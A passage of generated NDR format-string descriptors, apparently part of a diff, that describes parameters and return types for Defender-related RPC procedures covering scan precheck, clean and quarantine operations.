*/ + + /* Parameter arg_2 */ + +/* 1470 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 1472 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 1474 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 1476 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 1478 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 1480 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc26_ServerMpRpcPrecheckStart */ + +/* 1482 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 1484 */ NdrFcLong( 0x0 ), /* 0 */ +/* 1488 */ NdrFcShort( 0x1a ), /* 26 */ +/* 1490 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 1492 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 1494 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 1496 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 1498 */ NdrFcShort( 0x2c ), /* 44 */ +/* 1500 */ NdrFcShort( 0x68 ), /* 104 */ +/* 1502 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x5, /* 5 */ +/* 1504 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 1506 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1508 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1510 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1512 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 1514 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 1516 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 1518 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 1520 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 1522 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 1524 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 1526 */ NdrFcShort( 0x4112 ), /* Flags: must free, out, simple ref, srv alloc size=16 */ +/* 1528 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 1530 */ NdrFcShort( 0x10 ), /* Type Offset=16 */ + + /* Parameter arg_3 */ + +/* 1532 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 1534 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 1536 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 1538 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 1540 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 1542 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc27_ServerMpRpcPrecheckNotification */ + +/* 1544 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 1546 */ NdrFcLong( 0x0 ), /* 0 */ +/* 1550 */ NdrFcShort( 0x1b ), /* 27 */ +/* 1552 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 1554 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 1556 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 1558 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 1560 */ NdrFcShort( 0x24 ), /* 36 */ +/* 1562 */ NdrFcShort( 0x24 ), /* 36 */ +/* 1564 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x4, /* 4 */ +/* 1566 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 1568 */ NdrFcShort( 0x1 ), /* 1 */ +/* 1570 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1572 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1574 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 1576 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 1578 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 1580 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 1582 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 1584 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 1586 */ NdrFcShort( 0xcc ), /* Type Offset=204 */ + + /* Parameter arg_2 */ + +/* 1588 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 1590 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 1592 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 1594 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 1596 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 1598 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc28_ServerMpRpcCleanQuery */ + +/* 1600 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 1602 */ NdrFcLong( 0x0 ), /* 0 */ +/* 1606 */ NdrFcShort( 0x1c ), /* 28 */ +/* 1608 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 1610 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 1612 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 1614 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 1616 */ NdrFcShort( 0x24 ), /* 36 */ +/* 1618 */ NdrFcShort( 0x68 ), /* 104 */ +/* 1620 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x4, /* 4 */ +/* 1622 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 1624 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1626 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1628 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1630 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 1632 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 1634 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 1636 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 1638 */ NdrFcShort( 0x4112 ), /* Flags: must free, out, simple ref, srv alloc size=16 */ +/* 1640 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 1642 */ NdrFcShort( 0x10 ), /* Type Offset=16 */ + + /* Parameter arg_2 */ + +/* 1644 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 1646 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 1648 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 1650 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 1652 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 1654 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc29_ServerMpRpcCleanClose */ + +/* 1656 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 1658 */ NdrFcLong( 0x0 ), /* 0 */ +/* 1662 */ NdrFcShort( 0x1d ), /* 29 */ +/* 1664 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 1666 */ 0x30, /* FC_BIND_CONTEXT */ + 0xe0, /* Ctxt flags: via ptr, in, out, */ +/* 1668 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 1670 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 1672 */ NdrFcShort( 0x38 ), /* 56 */ +/* 1674 */ NdrFcShort( 0x5c ), /* 92 */ +/* 1676 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 1678 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 1680 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1682 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1684 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1686 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 1688 */ NdrFcShort( 0x118 ), /* Flags: in, out, simple ref, */ +/* 1690 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 1692 */ NdrFcShort( 0xc4 ), /* Type Offset=196 */ + + /* Parameter arg_2 */ + +/* 1694 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 1696 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 1698 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 1700 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 1702 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 1704 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc30_MpService__CMpMapsLatencyDataIterator__Clone */ + +/* 1706 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 1708 */ NdrFcLong( 0x0 ), /* 0 */ +/* 1712 */ NdrFcShort( 0x1e ), /* 30 */ +/* 1714 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 1716 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 1718 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 1720 */ NdrFcShort( 0x18 ), /* 24 */ +/* 1722 */ NdrFcShort( 0x24 ), /* 36 */ +/* 1724 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x5, /* 5 */ +/* 1726 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 1728 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1730 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1732 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1734 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 1736 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 1738 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 1740 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 1742 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 1744 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 1746 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 1748 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 1750 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 1752 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 1754 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 1756 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 1758 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 1760 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 1762 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 1764 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc31_MpService__CMpMapsLatencyDataIterator__Clone */ + +/* 1766 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 1768 */ NdrFcLong( 0x0 ), /* 0 */ +/* 1772 */ NdrFcShort( 0x1f ), /* 31 */ +/* 1774 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 1776 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 1778 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 1780 */ NdrFcShort( 0x20 ), /* 32 */ +/* 1782 */ NdrFcShort( 0x24 ), /* 36 */ +/* 1784 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x6, /* 6 */ +/* 1786 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 1788 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1790 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1792 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1794 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 1796 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 1798 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 1800 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 1802 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 1804 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 1806 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 1808 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 1810 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 1812 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 1814 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 1816 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 1818 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_5 */ + +/* 1820 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 1822 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 1824 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 1826 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 1828 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 1830 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc32_MpService__CMpMapsLatencyDataIterator__Clone */ + +/* 1832 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 1834 */ NdrFcLong( 0x0 ), /* 0 */ +/* 1838 */ NdrFcShort( 0x20 ), /* 32 */ +/* 1840 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 1842 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 1844 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 1846 */ NdrFcShort( 0x28 ), /* 40 */ +/* 1848 */ NdrFcShort( 0x24 ), /* 36 */ +/* 1850 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x6, /* 6 */ +/* 1852 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 1854 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1856 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1858 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1860 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 1862 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 1864 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 1866 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 1868 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 1870 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 1872 */ 0xb, /* FC_HYPER */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 1874 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 1876 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 1878 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 1880 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 1882 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 1884 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_5 */ + +/* 1886 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 1888 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 1890 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 1892 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 1894 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 1896 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc33_MpService__CMpMapsLatencyDataIterator__Clone */ + +/* 1898 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 1900 */ NdrFcLong( 0x0 ), /* 0 */ +/* 1904 */ NdrFcShort( 0x21 ), /* 33 */ +/* 1906 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 1908 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 1910 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 1912 */ NdrFcShort( 0x10 ), /* 16 */ +/* 1914 */ NdrFcShort( 0x24 ), /* 36 */ +/* 1916 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x5, /* 5 */ +/* 1918 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 1920 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1922 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1924 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1926 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 1928 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 1930 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 1932 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 1934 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 1936 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 1938 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_3 */ + +/* 1940 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 1942 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 1944 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 1946 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 1948 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 1950 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 1952 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 1954 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 1956 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc34_ServerMpQuarantineEnumOpen */ + +/* 1958 */ 0x33, /* FC_AUTO_HANDLE */ + 0x48, /* Old Flags: */ +/* 1960 */ NdrFcLong( 0x0 ), /* 0 */ +/* 1964 */ NdrFcShort( 0x22 ), /* 34 */ +/* 1966 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 1968 */ NdrFcShort( 0x8 ), /* 8 */ +/* 1970 */ NdrFcShort( 0x5c ), /* 92 */ +/* 1972 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x4, /* 4 */ +/* 1974 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 1976 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1978 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1980 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1982 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 1984 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 1986 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 1988 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 1990 */ NdrFcShort( 0x110 ), /* Flags: out, simple ref, */ +/* 1992 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 1994 */ NdrFcShort( 0xbc ), /* Type Offset=188 */ + + /* Parameter arg_3 */ + +/* 1996 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 1998 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 2000 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 2002 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 2004 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 2006 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc35_ServerMpQuarantineEnumerate */ + +/* 2008 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 2010 */ NdrFcLong( 0x0 ), /* 0 */ +/* 2014 */ NdrFcShort( 0x23 ), /* 35 */ +/* 2016 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 2018 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 2020 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 2022 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 2024 */ NdrFcShort( 0x24 ), /* 36 */ +/* 2026 */ NdrFcShort( 0x68 ), /* 104 */ +/* 2028 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x4, /* 4 */ +/* 2030 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 2032 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2034 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2036 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2038 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 2040 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 2042 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 2044 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 2046 */ NdrFcShort( 0x4112 ), /* Flags: must free, out, simple ref, srv alloc size=16 */ +/* 2048 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 2050 */ NdrFcShort( 0x10 ), /* Type Offset=16 */ + + /* Parameter arg_2 */ + +/* 2052 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 2054 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 2056 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 2058 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 2060 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 2062 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc36_ServerMpQuarantineEnumClose */ + +/* 2064 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 2066 */ NdrFcLong( 0x0 ), /* 0 */ +/* 2070 */ NdrFcShort( 0x24 ), /* 36 */ +/* 2072 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 2074 */ 0x30, /* FC_BIND_CONTEXT */ + 0xe0, /* Ctxt flags: via ptr, in, out, */ +/* 2076 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 2078 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 2080 */ NdrFcShort( 0x38 ), /* 56 */ +/* 2082 */ NdrFcShort( 0x5c ), /* 92 */ +/* 2084 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 2086 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 2088 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2090 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2092 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2094 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 2096 */ NdrFcShort( 0x118 ), /* Flags: in, out, simple ref, */ +/* 2098 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 2100 */ NdrFcShort( 0xc4 ), /* Type Offset=196 */ + + /* Parameter arg_2 */ + +/* 2102 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 2104 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 2106 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 2108 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 2110 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 2112 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc37_ServerMpQuarantineQueryInfo */ + +/* 2114 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 2116 */ NdrFcLong( 0x0 ), /* 0 */ +/* 2120 */ NdrFcShort( 0x25 ), /* 37 */ +/* 2122 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 2124 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 2126 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 2128 */ NdrFcShort( 0x4c ), /* 76 */ +/* 2130 */ NdrFcShort( 0x24 ), /* 36 */ +/* 2132 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x5, /* 5 */ +/* 2134 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 2136 */ NdrFcShort( 0x1 ), /* 1 */ +/* 2138 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2140 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2142 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 2144 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 2146 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 2148 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 2150 */ NdrFcShort( 0x10a ), /* Flags: must free, in, simple ref, */ +/* 2152 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 2154 */ NdrFcShort( 0x10 ), /* Type Offset=16 */ + + /* Parameter arg_3 */ + +/* 2156 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 2158 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 2160 */ NdrFcShort( 0x406 ), /* Type Offset=1030 */ + + /* Parameter arg_4 */ + +/* 2162 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 2164 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 2166 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 2168 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 2170 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 2172 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc38_ServerMpQuarantineRestoreThreat */ + +/* 2174 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 2176 */ NdrFcLong( 0x0 ), /* 0 */ +/* 2180 */ NdrFcShort( 0x26 ), /* 38 */ +/* 2182 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 2184 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 2186 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 2188 */ NdrFcShort( 0x54 ), /* 84 */ +/* 2190 */ NdrFcShort( 0x24 ), /* 36 */ +/* 2192 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x6, /* 6 */ +/* 2194 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 2196 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2198 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2200 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2202 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 2204 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 2206 